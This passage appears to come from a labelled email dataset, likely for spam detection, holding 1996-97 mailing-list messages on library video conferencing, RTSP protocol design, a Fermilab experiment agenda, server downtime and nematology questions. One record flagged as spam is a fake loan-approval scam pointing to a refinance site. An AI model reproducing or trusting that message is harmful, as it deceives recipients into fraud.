used effectively in library settings. Unfortunately, even though librarians work in learning/teaching/academic/exploration settings, it is difficult for librarians to act in learning/teaching/academic/exploration modes. It is difficult not because librarians don't have the necessary skills, but rather there seems too little time for these sorts of activities. It may seem oxymoronic, but change is the norm. All institutions must think about change and how to cope with it. Until this happens, innovations will not be explored with very much rigor unless they are thrust upon us by outside forces. Hopefully we, as well as other professions, can learn to adjust. ------------------------------------------------------------------------ ---- This file last modified 9/3/96. This article is reprinted with permission from the InterNIC News, published by the InterNIC. This newsletter and its contents may not be sold for profit or incorporated in commercial documents without the written permission of the copyright holder. This material is based on work sponsored by the National Science Foundation under Cooperative Agreement #NCR-9218742. The Government has certain rights in this material. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From morgan@ncsulib5.lib.ncsu.edu Thu Sep 19 16:57:37 1996 Received: by vega.lib.ncsu.edu; id AA19324; Thu, 19 Sep 1996 16:57:37 -0400 Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Thu, 19 Sep 1996 16:55:01 -0400 (EDT) From: ""Eric Lease Morgan"" Message-Id: <960919165320.ZM61363@homam.lib.ncsu.edu> Date: Thu, 19 Sep 1996 16:53:16 -0400 Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.3.1 27Mar96) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: end of project Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii At the end of this month or soon after I will be turning off the reflectors. In the meantime I will be writing up the final report. The report will include full access to the archives of this mailing list. Additionally, since *people* are the real sources of information, I would like to include the names and email addresses of the this list's membership so future readers can identify people who are interested in video conferencing technology. If you would NOT like to have your name and email address included in the final report, then please email me personally and I will make is so. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From keene@luna.cas.usf.edu Thu Sep 19 19:31:42 1996 Received: by vega.lib.ncsu.edu; id AA19752; Thu, 19 Sep 1996 19:31:42 -0400 Received: from localhost (keene@localhost) by luna.cas.usf.edu (8.7.5/8.6.5) with SMTP id TAA23781 for ; Thu, 19 Sep 1996 19:21:19 -0400 (EDT) Date: Thu, 19 Sep 1996 19:21:19 -0400 (EDT) From: ""Thomas Keene (LIS)"" To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Re: end of project In-Reply-To: <960919165320.ZM61363@homam.lib.ncsu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Does anyone have a resource list of other library-oriented CU-SeeMe projects or reports that are ongoing? Or know of web sites related to similar library-of-the future technologies? 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I should point out that almost all of the figures in the article are examples of attractors that are included in the software application ""Fractal Attraction"", i.e., I can't take credit for creating these particular attractors! Below please find the data for the tree. The initial polygon coords were obtained by reading the mouse coords, so they might be slightly off. Also, to generate this tree, the polygon is not closed. That is, to get the trunk of the tree looking nice, the trunk of the initial polygon is cut off (as you'll see when you draw it). The coordinates of the space for this fractal are [-0.5,0.5]x[0.1,0.9]. Initial polygon: p=[ (-.05,.1), (-.2,.2), (-.4,.2), (-.48,.3), (-.5,.4), (-.4,.6), (-.3,.72), (-.2,.8), (0,.9), (.1,.9), (.3,.8), (.5,.6), (.4,.5),(.5,.4), (.4,.25), (.35,.10), (.2,.15), (.05,.15), (.05,.1) ] The five maps, in the form matrix[[row1],[row2]], vector[x,y]: [[.459,-.226],[.073,.602]], [-.002,.319] [[.343,.376],[-.203,.546]], [-.022,.330] [[.136,.503],[-.313,.138]], [-.02,.217] [[.253,-.49],[.308,.35]], [-.007,.198] [[.066,.000],[.000,.479]], [-.015,-.024] Hope this works out for you, Jim ",0,0 Wei-Chi Yang ,chan@src.ncu.edu.tw,"Sat, 21 Sep 1996 09:59:46 -0400",Re: urgent,"Dear Tak-Wai, Frist, I am happy to accept the invitation in your steering committee, but I did not receive your invitation sent out earlier. Thanks. best, Wei-Chi > > Dear Wei-Chi, > > I believe I sent you the invitation below > around 16 September. > > All other steering committee members of > GCCCE'97 I invited have promised. > I'm just waiting for you. > When the steering committee has set up. We'll > discuss what will be the tasks of the committee. > So I'd like to know your answer as soon as > possible. > > Regards, > Tak-Wai > > _____________________________________________________ > Dear Wei-Chi, > > This is to invite you to be a member of the Steering Committee > of a conference called > ""Global Chinese Conference on Computing in Education (GCCCE)"". > > Let me give you more information for that conference. > > The first conference will be held on 21 - 23, May, 1997, > in South China (Wa-Nan) Normal University > in Gong Chow (the capital city of Canton) of China. > (Fogive me if I do not spell the names correctly) > > The conference is expecting to have around > 100 people to attend, with > about sixty from overseas and the rest from China. > > The Call for Papers will be out in early October. > The deadline of paper submission will be at the end > of January, 1997. Papers can be submitted through emails. > Then by the end of Febuary, 1997, acceptance and rejection > of papers will be notified. > > I'll be the Chair of the Steering Committee. > The members of that committee will include > two from China, two from Taiwan (including me), > one from Singapore, two from other parts of the world. > > For Program Committee, there will be three program co-chairs: > One for the host country, one for the Asia-Pacific region, > and the other is for the rest of the world. > > Since the first CFP will be out in early October, > we are a bit in a hurry. Therefore, I'd like > to know your answer asap. > > Regards, > Tak-Wai > > > > ",0,0 Luigi Moroni ,e831@FNAL.GOV,"Thu, 03 Oct 1996 13:47:49 -0500",E831-Focus meeting,"Dear collaborators, the next E831 meeting will be held in the Hornet's nest (11th floor) and will begin tomorrow, Friday Oct 4, at 9 AM. Here following are listed the requests for talks I have received so far. See you soon Luigi ---------------------------------------------- name: Kevin Stenson topic: Beam Tagging System estimated time: 15 minutes special requirements: None <<<<< ABSTRACT FOR CMS VERSION OF AGENDA>>>>> I will show the beam tagging system is working as designed. I will also point out some of the limitations of the system at our current/projected intensity. ---------------------------------------------- name: Peter H. Garbincius topic: Beam Calorimetry (RESH,POSH,BGM) status and operational experience time est: 10-15 minutes <<<<< ABSTRACT FOR CMS VERSION OF AGENDA>>>>> To first order almost everything is working, checked out, gain set, and timed (except for the RESH-11 and POSH-11 which have recently been installed but not yet commissioned, likewise for the ion chambers in BGM, RESH-0, POSH-0). I am definitely not satisfied with the operation of lots of this stuff, mainly due to signal quality problems: 60/180 Hz noise, drive capability of the RESH/POSH discriminators (easy fix, but I need stable beam to test and verify), width of analog pulses to ADCs due to cable dispersion (Sten Hansen will try the E-835 module fix during next week's accelerator hiatus), baseline shifts (especially for RESH0, POSH0, BGM) due to the isolation transformer (AC) coupling, and some bizzare behavior of the LRS 1881 FB ADCs when run at short 18 nsec gate. All of these problems arise due to my attempt to run at the full 53 MHz accelerator RF bucket timing. MONDA programming is still not implemented. (HELP ?) ---------------------------------------------- name:L.Moroni topic:Microvertex status estimated time: 5 min. special requirements: none - ---------------------------------------------- name: W. Johns topic:Target Silicon Project Update estimated time: 15 min. special requirements: none <<<<< ABSTRACT FOR CMS VERSION OF AGENDA>>>>> The progress since the last meeting will be discussed. An updated installation schedule will be presented as well. - ---------------------------------------------- name: Jonathan Link topic: Straw Readout Timing estimated time: 20 minutes special requirements: none <<<<< ABSTRACT FOR CMS VERSION OF AGENDA>>>>> The status of straw software will be discussed, including the preliminary tracking efficiencies and residuals. Options for preparing the spares will be presented including motivation, or lack there of. ---------------------------------------------- name: Ignacio Bediaga topic: OE Status Report estimated time: 10min special requirements: ---------------------------------------------- name: Salvador Carrillo topic: OE Pedestals and Calibrations estimated time: 5min special requirements: ---------------------------------------------- name: Carla Gobel topic: Light attenuation studies in the OE estimated time: 5min special requirements: ---------------------------------------------- name: David Olaya topic: C2 and C3 status estimated time: 5-10 min special requirements: ---------------------------------------------- name: Cristina Riccardi topic: HC status report estimated time: 15' special requirements: none ---------------------------------------------- Name : Fabiola (Hector and John Cumalat) Topics : Hxv geometry and efficiency Estimated time : 10 minutes Special requirement: Before noon friday (baby constrain) <<< Abstract >>> A preliminary HxV's geometry and efficiency measurement will be presented. The reconstructed counter's size, (x,y) position and semiplane gap are compared with ""our own"" survey done at the pit during the last shutdown. In order to avoid share hits; a fiducial cut is applied on each counter to calculate the efficiency. Also, the noise ratio for each counter will be presented. In order to ""illuminated"" the whole H and V planes, we called the routine P1P2P4 from the tracking library. During the normal reconstruction procedure (without calling P1P2P4) we don't reconstruct the edge of the counters, neither the 4 counter in the bottom (H1,H2,H13,H14) and the 4 in the top (H11,H12,H23,H24). The number presented in this talk are extracted from a special muon beam run for OE, where the trigger was: AM * AMD * (IM1 + OM1) A study of OH and Master Gate efficiency will follow. ---------------------------------------------- name: Harry Cheung topic: Status of the trigger estimated time: 20 mins special requirements: after 2pm and before 7pm on friday as I'm on shift 8pm-4am on thursday and friday <<<<< ABSTRACT FOR CMS VERSION OF AGENDA>>>>> Status of Master Gate and 2nd Level trigger will be reviewed. Work still to be done will be discussed. ---------------------------------------------- name:Jeff Wilson topic: Alignment Issues: Multiple scattering can cause systematic alignment problems. estimated time: 10 min. special requirements: Between 10:30am -5:00pm <<<<< ABSTRACT FOR CMS VERSION OF AGENDA>>>>> Using a simple model of the silicon system with multiple scattering included I show that incorrect wire spacing adjustments are necessary to get good alignment. My suggestion is to check our ""real life"" alignment package on Monte Carlo to gauge the severity of this problem. ---------------------------------------------- name:Jeff Wilson topic: Status of the software packages that I am familiar with: mainly unpacking, tracking, magnetic field, vees, and fitting. estimated time: 15 min. special requirements: Between 10:30am -5:00pm <<<<< ABSTRACT FOR CMS VERSION OF AGENDA>>>>> Most of the software used in E687 ""just works"" for FOCUS. However, there is a lot of work to be done in alignment, recalculation of many parameters used in vertexing and fitting and reevaluation of the software for old features we never bothered to change. There are also Data quality issues that need to be studied now while we can still fix things. ---------------------------------------------- name: Silvano Sala topic: my understanding about beam and hits in ustrips time: 20 min. <<<<< ABSTRACT FOR CMS VERSION OF AGENDA>>>>> a study of correlations about beam setting and hit's multiplicity in ustrip and a few suggestions to improve the quality of our data. ---------------------------------------------- name: Erik Gottschalk topic: E831 Express Analysis estimated time: 15 minutes special requirements: <<<<< ABSTRACT FOR CMS VERSION OF AGENDA>>>>> A status report on the E831 Express Analysis, including a brief discussion of the hardware, software, and plans for further development. ---------------------------------------------- name:Lynn GARREN topic:FMSS estimated time:15 min. special requirements: <<<<< ABSTRACT FOR CMS VERSION OF AGENDA>>>>> A brief overview of FMSS (Fermi Mass Storage System). We have requested 2 TB on this system for e831. ---------------------------------------------- name: Erik Gottschalk topic: E831 Express Analysis estimated time: 15 minutes special requirements: <<<<< ABSTRACT FOR CMS VERSION OF AGENDA>>>>> A status report on the E831 Express Analysis, including a brief discussion of the hardware, software, and plans for further development. ----------------------------------------------",0,0 lat@server.cs.vt.edu,"users@vtopus.cs.vt.edu, ei_users@ei.cs.vt.edu","Tue, 12 Nov 1996 07:43:46 -0500",ei.cs.vt.edu scheduled downtime,"ei.cs.vt.edu will be down for about 2 hours on thursday, november 14, for the new system disk to be installed. please plan accordingly. ",0,0 lat@server.cs.vt.edu,"users@vtopus.cs.vt.edu, ei_users@ei.cs.vt.edu","Tue, 12 Nov 1996 08:43:38 -0500",correction to ei downtime message,"my apologies for not including the time: ei.cs.vt.edu will be down for about 2 hours on thursday, november 14, beginning at 8am for the new system disk to be installed. please plan accordingly. ",0,0 Calvin Blackmon ,aspinall@sph.umich.edu,"Sun, 24 Nov 1996 04:37:40 -0600",RE: Yours loan is approved om6bb,"Dear Homeowner, aspinall@sph.umich.edu http://lowlow1refinance.com/goodstep You have been approved for a $ 865,956 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://lowlow1refinance.com/goodstep Best Regards Don Nut Loan Manager http://lowlow1refinance.com/lit.html aspinall@sph.umich.edu wrote: > RERE:We approved yours loan wcgtiw2rv7 ",1,1 David Hunsche ,Jeff Aspinall ,"Tue, 26 Nov 1996 09:50:00 -0500",735 HP (fwd),"just so you know... ------------------------------------------------------------------------- David Hunsche (313) 936-1247 U-M School of Public Health InfoTech Fax: (313) 763-5455 M3064 SPH II dhunsche@umich.edu ---------- Forwarded message ---------- Date: Tue, 26 Nov 1996 09:44:38 -0500 (EST) From: ""Robert M. Williams MD, DrPH"" To: David Hunsche Subject: 735 HP The HP735 is in the room with the fax machine. I took my 2MB HD that is not owned by the University. Bob --------------------------------------------------------------- Robert M. Williams, M.D., Dr.P.H. 616-526-6839 University of Michigan School of Public Health 616-526-9040 FAX Department of Health Management and Policy M3224 SPH II erdoctor@umich.edu 1420 Washington Heights erdoctor@freeway.net Ann Arbor, MI 48109-2029",0,0 morgan@ncsulib5.lib.ncsu.edu,see-a-librarian-l@vega.lib.ncsu.edu,"Wed, 11 Dec 1996 08:53:23 -0500",final report,"I have (finally) completed the final report for the See You See A Librarian Project. The text is available at: http://sunsite.berkeley.edu/~emorgan/see-a-librarian/ In a sentence, I believe the Project was a qualified success. While it did not attract hordes of librarians nor improve library service to any great degree, the Project did elevate the awareness of video conferencing in libraries. I will turn off the mailing list on Friday. Thank you for participating! -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From rtennant@library.berkeley.edu Thu Dec 12 12:57:23 1996 Received: by vega.lib.ncsu.edu; id AA09987; Thu, 12 Dec 1996 12:57:23 -0500 Received: by library.berkeley.edu; (5.65v3.2/1.1.8.2/29Oct94-1209AM) id AA14744; Thu, 12 Dec 1996 09:57:22 -0800 Date: Thu, 12 Dec 1996 09:57:22 -0800 (PST) From: Roy Tennant To: see-a-librarian-l@vega.lib.ncsu.edu Subject: Re: final report In-Reply-To: <961211084930.ZM27394@homam.lib.ncsu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I added a link to this on the Digital Library SunSITE Research and Development Page: http://sunsite.berkeley.edu/R+D/ Roy On Wed, 11 Dec 1996 morgan@ncsulib5.lib.ncsu.edu wrote: > > I have (finally) completed the final report for the See You See A > Librarian Project. The text is available at: > > http://sunsite.berkeley.edu/~emorgan/see-a-librarian/ > > In a sentence, I believe the Project was a qualified success. While it > did not attract hordes of librarians nor improve library service to any > great degree, the Project did elevate the awareness of video > conferencing in libraries. > > I will turn off the mailing list on Friday. Thank you for participating! > > -- > Eric Lease Morgan > NCSU Libraries > http://www.lib.ncsu.edu/staff/morgan/ > >From morgan@ncsulib5.lib.ncsu.edu Fri Dec 13 12:15:42 1996 Received: by vega.lib.ncsu.edu; id AA10798; Fri, 13 Dec 1996 12:15:42 -0500 Date: Fri, 13 Dec 1996 12:15:42 -0500 From: Received: from homam.lib.ncsu.edu by ncsulib5.lib.ncsu.edu with SMTP; Fri, 13 Dec 1996 12:10:31 -0500 (EST) Message-Id: <961213121151.ZM7779@homam.lib.ncsu.edu> Reply-To: eric_morgan@ncsu.edu X-Mailer: Z-Mail for Macintosh (3.3.1 27Mar96) To: see-a-librarian-l@vega.lib.ncsu.edu Subject: last posting Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii This is the last posting to SEE-A-LIBRARIAN-L. Again, thank you for your participation. I am now off to my next project, Index Morganagus, a Harvest indexed collection of electronic library-related serials. Consider giving it a try at: http://sunsite.berkeley.edu/~emorgan/morganagus/ Maybe sometime in the future I can ""CU online"" again. :-) -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/",0,1 Rob Lanphier ,confctrl@ISI.EDU,"Thu, 19 Dec 1996 15:21:05 -0800",Future Direction for RTSP,"As per Ruth's request, we'd like to lay out the positions of Netscape and Progressive Networks on the future direction of RTSP as we had discussed last Wednesday in San Jose. We'll start by summarizing the meeting as we saw it, and then conclude with how we would like to proceed. Outline: 1. RTSP vs. RTSP' 2. Role of the Metafile/Stream Description 3. One control stream for many data streams? 4. Roadmap ================== 1. RTSP vs. RTSP' ================== The main topic of discussion at the Wednesday RTSP meeting was to discuss the merits of RTSP and RTSP' and see which document would be the foundation for the next draft of RTSP. Generally speaking, there was a feeling that RTSP' would serve as a better starting point, and that Netscape and PN would assume change control of this document, and submit the next draft of RTSP as soon as possible. RTSP' addressed some of the issues brought up after the submission of RTSP. These issues were: * RTSP' was perceived to be a simpler protocol. However, it was also understood that there is a lot of fleshing out to be done on this document. Nonetheless, it was the consensus that the simplicity of RTSP' was a big advantage to it. * RTSP' seems more easily extensible. The design philosophy behind RTSP was to allow extensions via ""OPTION"" commands, but the level of extensibility found in a MIME-property text-based protocol may be found in binary protocols such as those based on ASN.1. * RTSP' borrows heavily from HTTP, and therefore would be a better understood protocol for it, although there was a note of caution that it similarity to HTTP doesn't necessarily mean that issues such as authentication and options negotiation are solved automatically by basing RTSP' on HTTP. The ability to potentially interlace HTTP and RTSP' were perceived as being good, and the ability to reuse HTTP code was also perceived as a good thing. The similarity to HTTP was a feature that needs further clarifications as to the benefits and risks. * The self-documenting nature of a text-based protocol was also seen as a good thing. However, it was not unanimous, and no one felt comfortable in declaring text the unambiguously superior choice. In the interest of moving forward, though, the next draft will be a text-based protocol. =========================================== 2. Role of the Metafile/Stream Description =========================================== The role of the metafile in the interaction was also discussed at great length. After some animated deliberation, it was decided that the flexibility needs to exist to: * Allow metafile embeddability in HTML pages, allowing a media plugin to do a priori stream selection, reducing the user-perceived round-trips from the point at which the user presses ""play"". * Less clear was the desire to allow hand-authorable metafile/session descriptions. However, a rough consensus was reached that a line can be drawn between information necessary for stream selection and initialization parameters necessary for rendering streams. It was further decided that there was a need for the former to be handled by the metafile, and the latter to optionally be contained as a PARAM_REPLY within RTSP (perhaps as a binary blob in the case of .wav files or QuickTime files). ============================================= 3. One control stream for many data streams? ============================================= Another point of discussion was allowing multi-stream control using single commands (i.e. one ""stop"" message stops all streams). RTSP' provides an implicit mechanism for this by defining a hierarchy using relative URLs. For example, if a presentation consists of the following streams: twister/audio/14_4 twister/video/80 ...then a command roughly in the form of: STOP twister/* ...could be issued which would stop all streams. The consensus was that the implentation implications need to be fully investigated. ========== 4. Roadmap ========== * Anup and Rob will work with Henning to produce a new version of the draft. * Netscape and PN will do further investigation of the performance implications of proceeding with a text-based protocol vs. a binary-based protocol. Barring any unforseen difficulties or large disparities in performance, we will aim toward a text-based protocol. Comments? Rob & Anup ",0,0 lat@server.cs.vt.edu,users@ei.cs.vt.edu,"Mon, 23 Dec 1996 10:26:03 -0500",reschedule of upgrade,"ei's upgrade for this morning has been rescheduled for monday, december 30. please make a note of this. ",0,0 """Martin C. Weisskopf"" ","Arenberg - Jon , Carlson - Roger <""ps- rgc""@kaitain.sp.trw.com>, Texter - Scott ","Fri, 03 Jan 1997 11:29:38 -0600","""C"" time charges","John, here are the time charges for the ""C"" series. Please include in the time line summary as used time against the total allotted. Time Charges for the ""C"" series of measurements. HRMA ONLY C-IXS-EA-4.001,2,3 C-IXH-RF-1.001,3,3a,5; 5.001,2,3,4,5,6,7,8 C-IXF-BG-6-/006 C-BND-BU-60.009,10 C-IXS-MC-61.001 C-IXH-PO-1.001,2,3 C-IXF-P1-1.003,4 C-IXF-P2-4.001,2 C-IXF-P2-3.001,2 C-IXF-P2-2.001 C-IXF-P2-1.002 LETG ONLY C-LXF-EE-3.001,2,3,8,9 C-LXH-AL-4.005 C-LXH-3D-2.001 HETG ONLY C-HXF-EE-3.003,4,5,6,5a,10,13 C-HXH-AL-4.003 C-HXH-3D-2.002,3 HETG and LETG (1/2,1/2) C-IXH-AL-4.004 ALL (1/3,1/3,1/3) C-IXF-FA-4.005 C-IXF-FM-61.001, 3.001 C-IXF-BG-60.005 C-BND-BU-60.007,8 Other measurements (on-axis wing scans and ""alignment"" measurements) were not charged as they were ""fillers"" and not part of our calibration program. PS Comments from participants? ",0,0 ,,,,"crcnis1.unl.edu with SMTP id AA11937 (5.65c/IDA-1.4.4 for ); Wed, 8 Jan 1997 07:27:13 -0600 Received: from millipede.helsinki.fi (millipede.helsinki.fi [128.214.94.94]) by kantti.helsinki.fi (8.8.3/8.8.2) with ESMTP id PAA25939 for ; Wed, 8 Jan 1997 15:24:12 +0200 (EET) Received: from MILLIPEDE/SpoolDir by millipede.helsinki.fi (Mercury 1.21); 8 Jan 97 15:27:15 EET Received: from SpoolDir by MILLIPEDE (Mercury 1.21); 8 Jan 97 15:26:53 EET From: ""Jyrki Tomminen"" Organization: University of Helsinki To: nema-l@unl.edu Date: Wed, 8 Jan 1997 15:26:35 EET DST Subject: questions Reply-To: Tomminen@millipede.Helsinki.FI X-Confirm-Reading-To: Tomminen@Viikki.Helsinki.Fi X-Pmrqc: 1 Priority: normal X-Mailer: Pegasus Mail v3.22 Message-Id: <2D0A52C6C7D@millipede.helsinki.fi> Thanks again for everybody that responded to my previous questions (not very many but few anyway). Hapyy new year to all of you, too. Here follows a couple of questions: 1. We in our laboratory are considering purchasing MEKU (Erich Pollahne) Soil Sample Extractor (with MEKU High Pressure Rinsing Pump) for separating pcn cysts from soil samples. Anyone has any experience with this machinery or anything that would be comparable to that. I should be easy and quick processing of the samples with no technical flaws? A comment from a representative of the company will be ignored... 2. Does anyone know if there'd already be PCR primers commercially available for identificating potato cyst nematodes (rostochiensis vs. pallida)? How about for Meloidogyne (chitwoodi/hapla/fallax)? Please all of you that really have something to say about these matters take a stand and speak! Thank you very much. - Jyrki - >From idl@ageri.sci.eg Mon Jan 13 16:54:21 1997 Received: from FRCU.EUN.EG by crcnis1.unl.edu with SMTP id AA05687 (5.65c/IDA-1.4.4 for ); Mon, 13 Jan 1997 23:11:37 -0600 Received: from ageri.sci.eg by FRCU.EUN.EG (PMDF V4.2-11 #3805) id <01IE70K6P1XS0014T0@FRCU.EUN.EG>; Tue, 14 Jan 1997 07:09:01 O Received: from ageri by ageri.sci.eg (SMI-8.6/SMI-SVR4) id OAA06154; Mon, 13 Jan 1997 14:54:21 +0200 Date: Mon, 13 Jan 1997 14:54:21 +0200 From: idl@ageri.sci.eg Subject: CHEF gel To: nema-l@unl.edu Message-Id: <199701131254.OAA06154@ageri.sci.eg> Mime-Version: 1.0 X-Mailer: Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7BIT X-Sender: idl@ageri.sci.eg Dear Nematologists: I need more information about using Pulsed Field Gel Electrophoresis with nematode. So, I will be very appreciated if anybody there give me more information about that or even guide me to the resources which I can use it to get these information. Thanks in advance. Nasser *********************************************************** Abd El-Nasser M. Elashry Agricultural Genetic Engineering Research Institute (AGERI) Agricultural Research Center (ARC) 9 Gamaa st., Giza 12619 Egypt Email idl@ageri.sci.eg *********************************************************** >From agAccess@davis.com Tue Jan 21 07:55:47 1997 Received: from pa.mother.com by crcnis1.unl.edu with SMTP id AA12092 (5.65c/IDA-1.4.4 for ); Tue, 21 Jan 1997 17:58:39 -0600 Received: from [207.104.33.3] (m2p76.dav.mother.com [207.104.33.76]) by pa.mother.com (8.8.4/8.8.0) with SMTP id PAA06382 for ; Tue, 21 Jan 1997 15:55:47 -0800 Date: Tue, 21 Jan 1997 15:55:47 -0800 X-Sender: agaccess@mother.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: nema-l@unl.edu From: agAccess@davis.com Subject: Economic Impact of nematodes, resistant cultivars Dear Nema-L, I'm researching the economic impact of nematodes on all major crops in the U.S. I'm also compiling information on nematode resistant cultivars. Any information you could provide in this direction would be greatly appreciated. Sincerely, Nathan Boone Research Director Agricola Partners ===================================================== | Agricola Partners :: Tel: 916-750-2264 | | 603 Fourth Street :: Fax: 916-756-7188 | | Davis, CA 95616 :: Email: Agricola@davis.com | | www: http://www.mother.com/agaccess/Agricola.html | |=====================================================| | Agricola Partners is dedicated to the agriculture | | and food industries with an emphasis on | | sustainable agriculture and organic farming. | ===================================================== >From dchitwoo@asrr.arsusda.gov Tue Jan 28 04:05:59 1997 Received: from asrr (asrr.arsusda.gov) by crcnis1.unl.edu with SMTP id AA07947 (5.65c/IDA-1.4.4 for ); Tue, 28 Jan 1997 08:06:37 -0600 Received: from dchitwoo.asrr.arsusda.gov ([198.77.169.126]) by asrr (5.x/SMI-SVR4) id AA20096; Tue, 28 Jan 1997 09:04:38 -0500 Message-Id: <2.2.32.19970128140559.006b8578@asrr.arsusda.gov> X-Sender: dchitwoo@asrr.arsusda.gov X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Tue, 28 Jan 1997 09:05:59 -0500 To: nema-l@unl.edu From: David Chitwood Subject: Position Vacancy-- USDA, ARS, Beltsville, Maryland POSITION VACANCY U.S. DEPARTMENT OF AGRICULTURE AGRICULTURAL RESEARCH SERVICE BELTSVILLE, MARYLAND ARS is seeking an interdisciplinary Research Molecular Biologist/Research Plant Pathologist/Zoologist, GS-401/434/ 410-11/12 in the Nematology Laboratory, Plant Sciences Institute, Beltsville Agricultural Research Center. Salary is commensurate with experience (GS-11: $38,330-$49,831 per annum; GS-12: $45,939-$59,725 per annum). The position involves planning and conducting independent and cooperative research primarily on the molecular biology and molecular genetics of plant-parasitic nematodes and host-parasite relationships. In addition to the basic educational requirements, applicants must demonstrate 1) knowledge of the principles, methods, techniques and procedures of molecular biology, and of plant pathology, genetics, plant nematology, or parasitology; 2) ability to use molecular techniques (including gene cloning, DNA sequencing, etc.) in research involving plant-parasitic nematode biology or nematode interactions with host plants; 3) knowledge of plant-parasitic nematodes and their relationship to plant diseases; and 4) ability to design, plan, and conduct research and publish results. For information on the research program and/or position, contact Dr. David J. Chitwood, 301-504-5660. For information on application procedures/forms, please call Veronica Olaaje for a copy of the announcement on 301-344-l014. Applications in response to this advertisement should be marked ARS-D7B-049/B-7-03. The U.S. Department of Agriculture is an Equal Opportunity Employer. Full applications must be postmarked by February 24. Greater details about the position and application procedures can be found on the USDA ARS Web Site at: http://www.ars.usda.gov/afm/hrd/d7b-049.htm David J. Chitwood Research Leader Nematology Laboratory, USDA Building 011A, Room 165B, BARC-West Beltsville, Maryland 20705 USA 301-504-8634 Fax: 301-504-5589 Internet: dchitwoo@asrr.arsusda.gov >From dtrudg@scri.sari.ac.uk Wed Jan 29 11:56:34 1997 Received: from caird.scri.sari.ac.uk by crcnis1.unl.edu with SMTP id AA08631 (5.65c/IDA-1.4.4 for ); Wed, 29 Jan 1997 05:59:08 -0600 Received: from law.scri.sari.ac.uk (law.scri.sari.ac.uk [134.36.144.25]) by caird.scri.sari.ac.uk (8.6.9/8.6.9) with ESMTP id LAA25754 for ; Wed, 29 Jan 1997 11:56:04 GMT Received: from LAW/MERCURY by law.scri.sari.ac.uk (Mercury 1.21); 29 Jan 97 11:56:49 GMT Received: from MERCURY by LAW (Mercury 1.21); 29 Jan 97 11:56:37 GMT From: ""David Trudgill"" To: nema-l@unl.edu Date: Wed, 29 Jan 1997 11:56:34 GMT Subject: Re: CHEF gel Return-Receipt-To: ""David Trudgill"" Priority: normal X-Mailer: Pegasus Mail for Windows (v2.42a) Message-Id: <23E88F11422@law.scri.sari.ac.uk> Dear Colleague, We tried pulse gel electophoresis on Meloidogyne chromosomes several years ago. If I remember correctly, we got a little bit of separation, but not much. Mireille Fargette, ORSTOM, Montpellier, may be able to remember more because she did the work. David Trudgill. >From xhuang@ucrac1.ucr.edu Mon Feb 3 07:19:45 1997 Received: from navel.ucr.edu by crcnis1.unl.edu with SMTP id AA00579 (5.65c/IDA-1.4.4 for ); Mon, 3 Feb 1997 17:19:38 -0600 Received: from [138.23.90.231] by 138.23.90.231 with SMTP; Mon, 3 Feb 1997 15:16:40 -0800 (PST) X-Sender: xhuang@pop.ucr.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Mon, 3 Feb 1997 15:19:45 -0800 To: nema-l@unl.edu From: xhuang@ucrac1.ucr.edu (Xiang Huang, UCR Nematology) Subject: Looking for glass beads Dear Colleagues, I am looking for glass beads of diameters of 0.1, 0.2, 0.4, 0.8, and 1.6mm, repectively. Unfortunately they are not available on any catalogs I could check. I really appreciate it if you could provide any information. Thanks in advance. Xiang ------------------------------------------------------- Xiang Huang * Department of Nematology * Tel.: 909/787-4586 University of California * FAX: 909/787-3719 Riverside, CA 92521-0415 * xhuang@ucrac1.ucr.edu ------------------------------------------------------- >From John.Jaenike@jj.biology.rochester.edu Thu Feb 6 06:10:34 1997 Received: from galileo.cc.rochester.edu by crcnis1.unl.edu with SMTP id AA26867 (5.65c/IDA-1.4.4 for ); Thu, 6 Feb 1997 09:54:45 -0600 Received: from jj.biology.rochester.edu. (jj.biology.rochester.edu [128.151.242.36]) by galileo.cc.rochester.edu (8.8.5/8.6.4) with SMTP id KAA20295 for ; Thu, 6 Feb 1997 10:52:01 -0500 (EST) Date: Thu, 06 Feb 1997 11:10:34 EST From: John Jaenike Subject: Nematode gene sequences To: nema-l@unl.edu X-Mailer: LeeMail 2.0.6 Message-Id: Our lab would like to examine intraspecific sequence variation in any single- copy nuclear gene from the insect-parasitic nematode Howardula aoronymphium (Allantonematidae: Tylenchida). Our best bet for designing PCR primers would be to try genes whose sequences are highly conserved across all nematodes. Any suggestions? John Jaenike Department of Biology University of Rochester Rochester, NY 14627 Phone: 716-275-7835 FAX: 716-275-2070 Email: jaenike@jj.biology.rochester.edu >From jjones@scri.sari.ac.uk Thu Feb 6 16:51:18 1997 Received: from caird.scri.sari.ac.uk by crcnis1.unl.edu with SMTP id AA00348 (5.65c/IDA-1.4.4 for ); Thu, 6 Feb 1997 10:53:47 -0600 Received: from law.scri.sari.ac.uk (law.scri.sari.ac.uk [134.36.144.25]) by caird.scri.sari.ac.uk (8.6.9/8.6.9) with ESMTP id QAA18957 for ; Thu, 6 Feb 1997 16:50:46 GMT Received: from LAW/MERCURY by law.scri.sari.ac.uk (Mercury 1.21); 6 Feb 97 16:51:39 GMT Received: from MERCURY by LAW (Mercury 1.21); 6 Feb 97 16:51:21 GMT From: ""John Jones"" To: nema-l@unl.edu Date: Thu, 6 Feb 1997 16:51:18 GMT Subject: Re: Nematode gene sequences Priority: normal X-Mailer: 